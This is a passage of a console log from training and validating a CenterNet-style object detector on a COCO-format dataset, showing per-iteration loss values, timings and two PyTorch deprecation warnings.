|off_loss 0.1538 |Data 0.694s(0.681s) |Net 1.364s 0 2 0 1 ctdet/coco_dla| train: [5][9/61]|Tot: 0:00:13 |ETA: 0:00:00 |loss 4.2940 |hm_loss 2.6545 |wh_loss 14.7839 |off_loss 0.1611 |Data 0.693s(0.682s) |Net 1.364s 1 1 0 0 2 ctdet/coco_dla| train: [5][10/61]|Tot: 0:00:15 |ETA: 0:00:00 |loss 4.3365 |hm_loss 2.6613 |wh_loss 15.0804 |off_loss 0.1671 |Data 0.688s(0.683s) |Net 1.364s 1 0 0 ctdet/coco_dla| train: [5][11/61]|Tot: 0:00:16 |ETA: 0:00:00 |loss 4.2523 |hm_loss 2.6054 |wh_loss 14.8332 |off_loss 0.1636 |Data 0.686s(0.683s) |Net 1.364s 0 0 0 1 0 0 ctdet/coco_dla| train: [5][12/61]|Tot: 0:00:17 |ETA: 0:00:00 |loss 4.3845 |hm_loss 2.6711 |wh_loss 15.4698 |off_loss 0.1664 |Data 0.679s(0.683s) |Net 1.363s 0 1 0 0 0 ctdet/coco_dla| train: [5][13/61]|Tot: 0:00:19 |ETA: 0:00:00 |loss 4.5067 |hm_loss 2.7268 |wh_loss 16.1049 |off_loss 0.1694 |Data 0.679s(0.682s) |Net 1.362s 0 2 1 2 0 ctdet/coco_dla| train: [5][14/61]|Tot: 0:00:20 |ETA: 0:00:00 |loss 4.5418 |hm_loss 2.7719 |wh_loss 16.0079 |off_loss 0.1691 |Data 0.678s(0.682s) |Net 1.361s 0 0 2 3 ctdet/coco_dla| train: [5][15/61]|Tot: 0:00:21 |ETA: 0:00:00 |loss 4.6611 |hm_loss 2.8166 |wh_loss 16.7744 |off_loss 0.1671 |Data 0.746s(0.686s) |Net 1.365s 0 1 0 1 ctdet/coco_dla| train: [5][16/61]|Tot: 0:00:23 |ETA: 0:00:00 |loss 4.5023 |hm_loss 2.7201 |wh_loss 16.2085 |off_loss 0.1614 |Data 0.671s(0.685s) |Net 1.364s 1 0 0 ctdet/coco_dla| train: [5][17/61]|Tot: 0:00:24 |ETA: 0:00:00 |loss 4.4690 |hm_loss 2.7167 |wh_loss 15.9068 |off_loss 0.1616 |Data 0.681s(0.685s) |Net 1.365s 0 2 3 0 0 0 1 ctdet/coco_dla| train: [5][18/61]|Tot: 0:00:25 |ETA: 0:00:00 |loss 4.5032 |hm_loss 2.7450 |wh_loss 15.8864 |off_loss 0.1695 |Data 0.680s(0.685s) |Net 1.365s 0 0 ctdet/coco_dla| train: [5][19/61]|Tot: 0:00:27 |ETA: 0:00:00 |loss 4.4135 |hm_loss 2.7031 |wh_loss 15.4417 |off_loss 0.1662 |Data 0.679s(0.684s) |Net 1.364s 1 2 1 0 2 0 1 0 0 ctdet/coco_dla| train: [5][20/61]|Tot: 0:00:28 |ETA: 0:00:00 |loss 4.4840 |hm_loss 2.7282 |wh_loss 15.8566 |off_loss 0.1702 |Data 0.680s(0.684s) |Net 1.364s 2 2 ctdet/coco_dla| train: [5][21/61]|Tot: 0:00:29 |ETA: 0:00:00 |loss 4.4426 |hm_loss 2.6924 |wh_loss 15.8266 |off_loss 0.1676 |Data 0.683s(0.684s) |Net 1.363s 2 1 0 1 0 0 ctdet/coco_dla| train: [5][22/61]|Tot: 0:00:31 |ETA: 0:00:00 |loss 4.4229 |hm_loss 2.6859 |wh_loss 15.7177 |off_loss 0.1652 |Data 0.683s(0.684s) |Net 1.363s 0 0 ctdet/coco_dla| train: [5][23/61]|Tot: 0:00:32 |ETA: 0:00:00 |loss 4.3458 |hm_loss 2.6520 |wh_loss 15.3002 |off_loss 0.1638 |Data 0.681s(0.684s) |Net 1.363s 1 0 0 1 0 0 ctdet/coco_dla| train: [5][24/61]|Tot: 0:00:34 |ETA: 0:00:00 |loss 4.4077 |hm_loss 2.6857 |wh_loss 15.5491 |off_loss 0.1671 |Data 0.679s(0.684s) |Net 1.362s 1 0 1 ctdet/coco_dla| train: [5][25/61]|Tot: 0:00:35 |ETA: 0:00:00 |loss 4.3490 |hm_loss 2.6552 |wh_loss 15.2984 |off_loss 0.1639 |Data 0.744s(0.686s) |Net 1.365s 2 2 0 0 ctdet/coco_dla| train: [5][26/61]|Tot: 0:00:36 |ETA: 0:00:00 |loss 4.4002 |hm_loss 2.6906 |wh_loss 15.4187 |off_loss 0.1677 |Data 0.751s(0.688s) |Net 1.367s 1 1 0 0 0 ctdet/coco_dla| train: [5][27/61]|Tot: 0:00:38 |ETA: 0:00:00 |loss 4.3886 |hm_loss 2.6886 |wh_loss 15.3111 |off_loss 0.1689 |Data 0.680s(0.688s) |Net 1.367s 3 0 3 2 0 2 0 0 1 ctdet/coco_dla| train: [5][28/61]|Tot: 0:00:39 |ETA: 0:00:00 |loss 4.4344 |hm_loss 2.7175 |wh_loss 15.4538 |off_loss 0.1716 |Data 0.682s(0.688s) |Net 1.366s 2 0 1 1 2 1 1 0 ctdet/coco_dla| train: [5][29/61]|Tot: 0:00:40 |ETA: 0:00:00 |loss 4.4417 |hm_loss 2.7168 |wh_loss 15.5458 |off_loss 0.1703 |Data 0.687s(0.688s) |Net 1.366s 0 2 ctdet/coco_dla| train: [5][30/61]|Tot: 0:00:42 |ETA: 0:00:00 |loss 4.3500 |hm_loss 2.6661 |wh_loss 15.1786 |off_loss 0.1661 |Data 0.795s(0.691s) |Net 1.369s 0 2 0 0 1 ctdet/coco_dla| train: [5][31/61]|Tot: 0:00:43 |ETA: 0:00:00 |loss 4.3295 |hm_loss 2.6658 |wh_loss 14.9747 |off_loss 0.1663 |Data 0.682s(0.691s) |Net 1.369s 0 1 0 0 ctdet/coco_dla| train: [5][32/61]|Tot: 0:00:45 |ETA: 0:00:00 |loss 4.3175 |hm_loss 2.6691 |wh_loss 14.8272 |off_loss 0.1658 |Data 0.695s(0.691s) |Net 1.369s 0 1 0 ctdet/coco_dla| train: [5][33/61]|Tot: 0:00:46 |ETA: 0:00:00 |loss 4.2398 |hm_loss 2.6246 |wh_loss 14.5277 |off_loss 0.1624 |Data 0.684s(0.691s) |Net 1.369s 1 0 1 1 3 1 ctdet/coco_dla| train: [5][34/61]|Tot: 0:00:47 |ETA: 0:00:00 |loss 4.2660 |hm_loss 2.6427 |wh_loss 14.5859 |off_loss 0.1646 |Data 0.687s(0.691s) |Net 1.370s 1 0 0 1 ctdet/coco_dla| train: [5][35/61]|Tot: 0:00:49 |ETA: 0:00:00 |loss 4.2547 |hm_loss 2.6370 |wh_loss 14.5364 |off_loss 0.1640 |Data 0.739s(0.692s) |Net 1.371s 1 0 1 ctdet/coco_dla| train: [5][36/61]|Tot: 0:00:50 |ETA: 0:00:00 |loss 4.2614 |hm_loss 2.6367 |wh_loss 14.6249 |off_loss 0.1622 |Data 0.775s(0.694s) |Net 1.373s 1 0 0 0 2 1 ctdet/coco_dla| train: [5][37/61]|Tot: 0:00:52 |ETA: 0:00:00 |loss 4.2484 |hm_loss 2.6385 |wh_loss 14.4835 |off_loss 0.1616 |Data 0.674s(0.694s) |Net 1.373s 0 0 0 0 0 0 0 0 3 2 1 ctdet/coco_dla| train: [5][38/61]|Tot: 0:00:53 |ETA: 0:00:00 |loss 4.2758 |hm_loss 2.6522 |wh_loss 14.6165 |off_loss 0.1620 |Data 0.721s(0.695s) |Net 1.373s 2 0 0 0 ctdet/coco_dla| train: [5][39/61]|Tot: 0:00:54 |ETA: 0:00:00 |loss 4.2818 |hm_loss 2.6526 |wh_loss 14.6768 |off_loss 0.1615 |Data 0.676s(0.694s) |Net 1.373s 1 1 1 0 0 1 ctdet/coco_dla| train: [5][40/61]|Tot: 0:00:56 |ETA: 0:00:00 |loss 4.3064 |hm_loss 2.6694 |wh_loss 14.7374 |off_loss 0.1633 |Data 0.684s(0.694s) |Net 1.372s 0 0 0 ctdet/coco_dla| train: [5][41/61]|Tot: 0:00:57 |ETA: 0:00:00 |loss 4.2553 |hm_loss 2.6494 |wh_loss 14.4494 |off_loss 0.1609 |Data 0.683s(0.694s) |Net 1.372s 2 0 0 0 2 0 1 ctdet/coco_dla| train: [5][42/61]|Tot: 0:00:58 |ETA: 0:00:00 |loss 4.2857 |hm_loss 2.6600 |wh_loss 14.6495 |off_loss 0.1608 |Data 0.672s(0.693s) |Net 1.372s 1 2 ctdet/coco_dla| train: [5][43/61]|Tot: 0:01:00 |ETA: 0:00:00 |loss 4.2265 |hm_loss 2.6296 |wh_loss 14.3850 |off_loss 0.1584 |Data 0.736s(0.694s) |Net 1.374s 0 0 3 1 0 1 1 0 ctdet/coco_dla| train: [5][44/61]|Tot: 0:01:01 |ETA: 0:00:00 |loss 4.2155 |hm_loss 2.6275 |wh_loss 14.3002 |off_loss 0.1580 |Data 0.672s(0.694s) |Net 1.373s 0 0 3 0 0 ctdet/coco_dla| train: [5][45/61]|Tot: 0:01:03 |ETA: 0:00:00 |loss 4.2022 |hm_loss 2.6229 |wh_loss 14.2250 |off_loss 0.1569 |Data 0.679s(0.693s) |Net 1.373s 2 0 1 2 ctdet/coco_dla| train: [5][46/61]|Tot: 0:01:04 |ETA: 0:00:00 |loss 4.1930 |hm_loss 2.6236 |wh_loss 14.1222 |off_loss 0.1572 |Data 0.683s(0.693s) |Net 1.372s 0 3 0 0 2 0 1 0 1 ctdet/coco_dla| train: [5][47/61]|Tot: 0:01:05 |ETA: 0:00:00 |loss 4.2236 |hm_loss 2.6516 |wh_loss 14.1289 |off_loss 0.1591 |Data 0.687s(0.693s) |Net 1.372s 0 1 0 ctdet/coco_dla| train: [5][48/61]|Tot: 0:01:07 |ETA: 0:00:00 |loss 4.2130 |hm_loss 2.6524 |wh_loss 14.0140 |off_loss 0.1592 |Data 0.689s(0.693s) |Net 1.372s 0 1 ctdet/coco_dla| train: [5][49/61]|Tot: 0:01:08 |ETA: 0:00:00 |loss 4.1609 |hm_loss 2.6204 |wh_loss 13.8358 |off_loss 0.1570 |Data 0.687s(0.693s) |Net 1.372s 1 0 2 1 ctdet/coco_dla| train: [5][50/61]|Tot: 0:01:09 |ETA: 0:00:00 |loss 4.1520 |hm_loss 2.6196 |wh_loss 13.7404 |off_loss 0.1584 |Data 0.691s(0.693s) |Net 1.372s 1 0 1 2 1 0 ctdet/coco_dla| train: [5][51/61]|Tot: 0:01:11 |ETA: 0:00:00 |loss 4.1601 |hm_loss 2.6329 |wh_loss 13.6881 |off_loss 0.1584 |Data 0.678s(0.692s) |Net 1.371s 0 0 0 0 1 ctdet/coco_dla| train: [5][52/61]|Tot: 0:01:12 |ETA: 0:00:00 |loss 4.1575 |hm_loss 2.6322 |wh_loss 13.6707 |off_loss 0.1582 |Data 0.677s(0.692s) |Net 1.372s 0 0 1 1 0 0 ctdet/coco_dla| train: [5][53/61]|Tot: 0:01:14 |ETA: 0:00:00 |loss 4.1302 |hm_loss 2.6190 |wh_loss 13.5373 |off_loss 0.1574 |Data 0.745s(0.693s) |Net 1.372s 1 1 1 ctdet/coco_dla| train: [5][54/61]|Tot: 0:01:15 |ETA: 0:00:00 |loss 4.1041 |hm_loss 2.6041 |wh_loss 13.4383 |off_loss 0.1561 |Data 0.686s(0.693s) |Net 1.372s 3 1 2 1 0 0 0 0 1 ctdet/coco_dla| train: [5][55/61]|Tot: 0:01:16 |ETA: 0:00:00 |loss 4.1227 |hm_loss 2.6176 |wh_loss 13.4809 |off_loss 0.1570 |Data 0.676s(0.693s) |Net 1.372s 1 1 0 ctdet/coco_dla| train: [5][56/61]|Tot: 0:01:18 |ETA: 0:00:00 |loss 4.0995 |hm_loss 2.6043 |wh_loss 13.3911 |off_loss 0.1560 |Data 0.687s(0.693s) |Net 1.372s 0 ctdet/coco_dla| train: [5][57/61]|Tot: 0:01:19 |ETA: 0:00:00 |loss 4.0531 |hm_loss 2.5788 |wh_loss 13.1943 |off_loss 0.1549 |Data 0.688s(0.692s) |Net 1.372s 0 0 0 0 0 1 0 0 ctdet/coco_dla| train: [5][58/61]|Tot: 0:01:20 |ETA: 0:00:00 |loss 4.0597 |hm_loss 2.5896 |wh_loss 13.1492 |off_loss 0.1552 |Data 0.694s(0.693s) |Net 1.371s 1 0 1 0 ctdet/coco_dla| train: [5][59/61]|Tot: 0:01:22 |ETA: 0:00:00 |loss 4.0503 |hm_loss 2.5878 |wh_loss 13.0638 |off_loss 0.1561 |Data 0.756s(0.694s) |Net 1.373s 1 0 0 1 ctdet/coco_dla| train: [5][60/61]|Tot: 0:01:23 |ETA: 0:00:00 |loss 4.0290 |hm_loss 2.5750 |wh_loss 12.9887 |off_loss 0.1551 |Data 0.699s(0.694s) |Net 1.373s /root/.pyenv/versions/3.6.9/lib/python3.6/site-packages/torch/nn/functional.py:52: UserWarning: size_average and reduce args will be deprecated, please use reduction='sum' instead. warnings.warn(warning.format(ret)) /root/.pyenv/versions/3.6.9/lib/python3.6/site-packages/torch/nn/parallel/_functions.py:58: UserWarning: Was asked to gather along dimension 0, but all input tensors were scalars; will instead unsqueeze and return a vector. warnings.warn('Was asked to gather along dimension 0, but all ' ctdet/coco_dla| val: [5][0/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 7.7391 |hm_loss 4.1923 |wh_loss 31.1896 |off_loss 0.4279 |Data 0.211s(0.211s) |Net 0.256s ctdet/coco_dla| val: [5][1/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 7.3524 |hm_loss 4.1069 |wh_loss 27.8113 |off_loss 0.4644 |Data 0.001s(0.106s) |Net 0.138s ctdet/coco_dla| val: [5][2/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 6.9210 |hm_loss 4.0701 |wh_loss 24.2181 |off_loss 0.4291 |Data 0.000s(0.071s) |Net 0.099s ctdet/coco_dla| val: [5][3/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 6.7402 |hm_loss 4.0596 |wh_loss 22.8348 |off_loss 0.3972 |Data 0.001s(0.053s) |Net 0.079s ctdet/coco_dla| val: [5][4/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 6.7516 |hm_loss 4.0433 |wh_loss 23.5554 |off_loss 0.3528 |Data 0.001s(0.043s) |Net 0.068s ctdet/coco_dla| val: [5][5/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 6.6216 |hm_loss 3.9569 |wh_loss 23.1387 |off_loss 0.3508 |Data 0.001s(0.036s) |Net 0.060s ctdet/coco_dla| val: [5][6/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 5.6832 |hm_loss 3.3991 |wh_loss 19.8332 |off_loss 0.3007 |Data 0.001s(0.031s) |Net 0.054s ctdet/coco_dla| val: [5][7/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 4.9792 |hm_loss 2.9806 |wh_loss 17.3540 |off_loss 0.2631 |Data 0.002s(0.027s) |Net 0.050s ctdet/coco_dla| val: [5][8/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 4.4316 |hm_loss 2.6551 |wh_loss 15.4258 |off_loss 0.2339 |Data 0.000s(0.024s) |Net 0.047s ctdet/coco_dla| val: [5][9/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 3.9936 |hm_loss 2.3948 |wh_loss 13.8832 |off_loss 0.2105 |Data 0.000s(0.022s) |Net 0.045s ctdet/coco_dla| val: [5][10/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 3.6351 |hm_loss 2.1817 |wh_loss 12.6211 |off_loss 0.1914 |Data 0.001s(0.020s) |Net 0.043s ctdet/coco_dla| val: [5][11/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 3.3365 |hm_loss 2.0041 |wh_loss 11.5694 |off_loss 0.1754 |Data 0.001s(0.018s) |Net 0.041s ctdet/coco_dla| val: [5][12/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 3.0838 |hm_loss 1.8540 |wh_loss 10.6794 |off_loss 0.1619 |Data 0.001s(0.017s) |Net 0.039s ctdet/coco_dla| val: [5][13/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 2.8673 |hm_loss 1.7252 |wh_loss 9.9166 |off_loss 0.1504 |Data 0.001s(0.016s) |Net 0.038s ctdet/coco_dla| val: [5][14/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 2.6796 |hm_loss 1.6137 |wh_loss 9.2555 |off_loss 0.1403 |Data 0.001s(0.015s) |Net 0.037s ctdet/coco_dla| val: [5][15/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 2.5154 |hm_loss 1.5161 |wh_loss 8.6770 |off_loss 0.1316 |Data 0.001s(0.014s) |Net 0.036s ctdet/coco_dla| val: [5][16/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 2.3705 |hm_loss 1.4300 |wh_loss 8.1666 |off_loss 0.1238 |Data 0.001s(0.013s) |Net 0.035s ctdet/coco_dla| val: [5][17/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 2.2417 |hm_loss 1.3535 |wh_loss 7.7129 |off_loss 0.1169 |Data 0.001s(0.012s) |Net 0.034s ctdet/coco_dla| val: [5][18/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 2.1264 |hm_loss 1.2850 |wh_loss 7.3070 |off_loss 0.1108 |Data 0.001s(0.012s) |Net 0.034s ctdet/coco_dla| val: [5][19/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 2.0227 |hm_loss 1.2233 |wh_loss 6.9416 |off_loss 0.1053 |Data 0.001s(0.011s) |Net 0.033s ctdet/coco_dla| val: [5][20/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 1.9289 |hm_loss 1.1675 |wh_loss 6.6111 |off_loss 0.1002 |Data 0.000s(0.011s) |Net 0.033s ctdet/coco_dla| val: [5][21/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 1.8436 |hm_loss 1.1169 |wh_loss 6.3106 |off_loss 0.0957 |Data 0.000s(0.010s) |Net 0.032s ctdet/coco_dla| val: [5][22/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 1.7657 |hm_loss 1.0706 |wh_loss 6.0362 |off_loss 0.0915 |Data 0.000s(0.010s) |Net 0.032s ctdet/coco_dla| val: [5][23/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 1.6943 |hm_loss 1.0281 |wh_loss 5.7847 |off_loss 0.0877 |Data 0.001s(0.009s) |Net 0.031s ctdet/coco_dla| val: [5][24/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 1.6286 |hm_loss 0.9891 |wh_loss 5.5533 |off_loss 0.0842 |Data 0.000s(0.009s) |Net 0.031s ctdet/coco_dla| val: [5][25/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 1.5679 |hm_loss 0.9530 |wh_loss 5.3397 |off_loss 0.0810 |Data 0.001s(0.009s) |Net 0.031s ctdet/coco_dla| val: [5][26/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 1.5118 |hm_loss 0.9196 |wh_loss 5.1419 |off_loss 0.0780 |Data 0.000s(0.008s) |Net 0.030s ctdet/coco_dla| val: [5][27/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 1.4596 |hm_loss 0.8886 |wh_loss 4.9583 |off_loss 0.0752 |Data 0.001s(0.008s) |Net 0.030s ctdet/coco_dla| val: [5][28/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 1.4111 |hm_loss 0.8598 |wh_loss 4.7873 |off_loss 0.0726 |Data 0.001s(0.008s) |Net 0.030s ctdet/coco_dla| val: [5][29/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 1.3658 |hm_loss 0.8329 |wh_loss 4.6277 |off_loss 0.0702 |Data 0.000s(0.008s) |Net 0.029s ctdet/coco_dla| val: [5][30/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 1.3234 |hm_loss 0.8077 |wh_loss 4.4785 |off_loss 0.0679 |Data 0.000s(0.007s) |Net 0.029s ctdet/coco_dla| val: [5][31/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 1.2837 |hm_loss 0.7841 |wh_loss 4.3385 |off_loss 0.0658 |Data 0.000s(0.007s) |Net 0.029s ctdet/coco_dla| val: [5][32/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 1.2464 |hm_loss 0.7619 |wh_loss 4.2070 |off_loss 0.0638 |Data 0.001s(0.007s) |Net 0.028s ctdet/coco_dla| val: [5][33/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 1.2113 |hm_loss 0.7411 |wh_loss 4.0833 |off_loss 0.0619 |Data 0.001s(0.007s) |Net 0.028s ctdet/coco_dla| val: [5][34/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 1.1782 |hm_loss 0.7214 |wh_loss 3.9666 |off_loss 0.0601 |Data 0.000s(0.007s) |Net 0.028s ctdet/coco_dla| val: [5][35/2110]|Tot: 0:00:00 |ETA: 0:00:00 |loss 1.1470 |hm_loss 0.7029 |wh_loss 3.8565 |off_loss 0.0585 |Data 0.001s(0.006s) |Net 0.028s ctdet/coco_dla| val: [5][36/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 1.3029 |hm_loss 0.8024 |wh_loss 4.3731 |off_loss 0.0632 |Data 0.001s(0.006s) |Net 0.028s ctdet/coco_dla| val: [5][37/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 1.4443 |hm_loss 0.8883 |wh_loss 4.8267 |off_loss 0.0733 |Data 0.001s(0.006s) |Net 0.027s ctdet/coco_dla| val: [5][38/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 1.5587 |hm_loss 0.9579 |wh_loss 5.2360 |off_loss 0.0772 |Data 0.001s(0.006s) |Net 0.027s ctdet/coco_dla| val: [5][39/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 1.6603 |hm_loss 1.0254 |wh_loss 5.5706 |off_loss 0.0778 |Data 0.001s(0.006s) |Net 0.027s ctdet/coco_dla| val: [5][40/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 1.7568 |hm_loss 1.0919 |wh_loss 5.8314 |off_loss 0.0817 |Data 0.001s(0.006s) |Net 0.027s ctdet/coco_dla| val: [5][41/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 1.8482 |hm_loss 1.1591 |wh_loss 6.0568 |off_loss 0.0834 |Data 0.001s(0.006s) |Net 0.027s ctdet/coco_dla| val: [5][42/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 1.9419 |hm_loss 1.2279 |wh_loss 6.2292 |off_loss 0.0911 |Data 0.001s(0.005s) |Net 0.027s ctdet/coco_dla| val: [5][43/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.0251 |hm_loss 1.2956 |wh_loss 6.2921 |off_loss 0.1003 |Data 0.001s(0.005s) |Net 0.026s ctdet/coco_dla| val: [5][44/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.0887 |hm_loss 1.3613 |wh_loss 6.2797 |off_loss 0.0994 |Data 0.001s(0.005s) |Net 0.026s ctdet/coco_dla| val: [5][45/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.1485 |hm_loss 1.4249 |wh_loss 6.2013 |off_loss 0.1034 |Data 0.001s(0.005s) |Net 0.026s ctdet/coco_dla| val: [5][46/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.1998 |hm_loss 1.4856 |wh_loss 6.1221 |off_loss 0.1020 |Data 0.000s(0.005s) |Net 0.026s ctdet/coco_dla| val: [5][47/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.2611 |hm_loss 1.5440 |wh_loss 6.1135 |off_loss 0.1058 |Data 0.001s(0.005s) |Net 0.026s ctdet/coco_dla| val: [5][48/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.3338 |hm_loss 1.6005 |wh_loss 6.2481 |off_loss 0.1085 |Data 0.000s(0.005s) |Net 0.026s ctdet/coco_dla| val: [5][49/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.4052 |hm_loss 1.6538 |wh_loss 6.3806 |off_loss 0.1133 |Data 0.001s(0.005s) |Net 0.026s ctdet/coco_dla| val: [5][50/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.4918 |hm_loss 1.7076 |wh_loss 6.6489 |off_loss 0.1193 |Data 0.001s(0.005s) |Net 0.026s ctdet/coco_dla| val: [5][51/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.5802 |hm_loss 1.7596 |wh_loss 6.9553 |off_loss 0.1251 |Data 0.000s(0.005s) |Net 0.026s ctdet/coco_dla| val: [5][52/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.6660 |hm_loss 1.8088 |wh_loss 7.2900 |off_loss 0.1282 |Data 0.001s(0.005s) |Net 0.025s ctdet/coco_dla| val: [5][53/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.7503 |hm_loss 1.8566 |wh_loss 7.6684 |off_loss 0.1269 |Data 0.001s(0.004s) |Net 0.025s ctdet/coco_dla| val: [5][54/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.8198 |hm_loss 1.9022 |wh_loss 7.9157 |off_loss 0.1260 |Data 0.000s(0.004s) |Net 0.025s ctdet/coco_dla| val: [5][55/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.7705 |hm_loss 1.8692 |wh_loss 7.7743 |off_loss 0.1238 |Data 0.000s(0.004s) |Net 0.025s ctdet/coco_dla| val: [5][56/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.7228 |hm_loss 1.8374 |wh_loss 7.6379 |off_loss 0.1216 |Data 0.000s(0.004s) |Net 0.025s ctdet/coco_dla| val: [5][57/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.6768 |hm_loss 1.8066 |wh_loss 7.5062 |off_loss 0.1195 |Data 0.001s(0.004s) |Net 0.025s ctdet/coco_dla| val: [5][58/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.6323 |hm_loss 1.7769 |wh_loss 7.3790 |off_loss 0.1175 |Data 0.001s(0.004s) |Net 0.025s ctdet/coco_dla| val: [5][59/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.5894 |hm_loss 1.7482 |wh_loss 7.2560 |off_loss 0.1155 |Data 0.001s(0.004s) |Net 0.025s ctdet/coco_dla| val: [5][60/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.5478 |hm_loss 1.7205 |wh_loss 7.1371 |off_loss 0.1136 |Data 0.000s(0.004s) |Net 0.025s ctdet/coco_dla| val: [5][61/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.5076 |hm_loss 1.6936 |wh_loss 7.0220 |off_loss 0.1118 |Data 0.001s(0.004s) |Net 0.025s ctdet/coco_dla| val: [5][62/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.4687 |hm_loss 1.6676 |wh_loss 6.9105 |off_loss 0.1100 |Data 0.001s(0.004s) |Net 0.025s ctdet/coco_dla| val: [5][63/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.4309 |hm_loss 1.6423 |wh_loss 6.8025 |off_loss 0.1083 |Data 0.001s(0.004s) |Net 0.025s ctdet/coco_dla| val: [5][64/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.3943 |hm_loss 1.6179 |wh_loss 6.6979 |off_loss 0.1067 |Data 0.000s(0.004s) |Net 0.025s ctdet/coco_dla| val: [5][65/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.3588 |hm_loss 1.5942 |wh_loss 6.5964 |off_loss 0.1050 |Data 0.001s(0.004s) |Net 0.024s ctdet/coco_dla| val: [5][66/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.3244 |hm_loss 1.5712 |wh_loss 6.4979 |off_loss 0.1035 |Data 0.001s(0.004s) |Net 0.024s ctdet/coco_dla| val: [5][67/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.2910 |hm_loss 1.5488 |wh_loss 6.4024 |off_loss 0.1019 |Data 0.001s(0.004s) |Net 0.025s ctdet/coco_dla| val: [5][68/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.2586 |hm_loss 1.5271 |wh_loss 6.3096 |off_loss 0.1005 |Data 0.001s(0.004s) |Net 0.024s ctdet/coco_dla| val: [5][69/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.2271 |hm_loss 1.5061 |wh_loss 6.2194 |off_loss 0.0990 |Data 0.001s(0.004s) |Net 0.024s ctdet/coco_dla| val: [5][70/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.1964 |hm_loss 1.4856 |wh_loss 6.1318 |off_loss 0.0976 |Data 0.001s(0.004s) |Net 0.024s ctdet/coco_dla| val: [5][71/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.1667 |hm_loss 1.4657 |wh_loss 6.0467 |off_loss 0.0963 |Data 0.001s(0.004s) |Net 0.024s ctdet/coco_dla| val: [5][72/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.1377 |hm_loss 1.4464 |wh_loss 5.9638 |off_loss 0.0950 |Data 0.000s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][73/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.1095 |hm_loss 1.4275 |wh_loss 5.8833 |off_loss 0.0937 |Data 0.002s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][74/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.0821 |hm_loss 1.4092 |wh_loss 5.8048 |off_loss 0.0924 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][75/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.0554 |hm_loss 1.3913 |wh_loss 5.7284 |off_loss 0.0912 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][76/2110]|Tot: 0:00:01 |ETA: 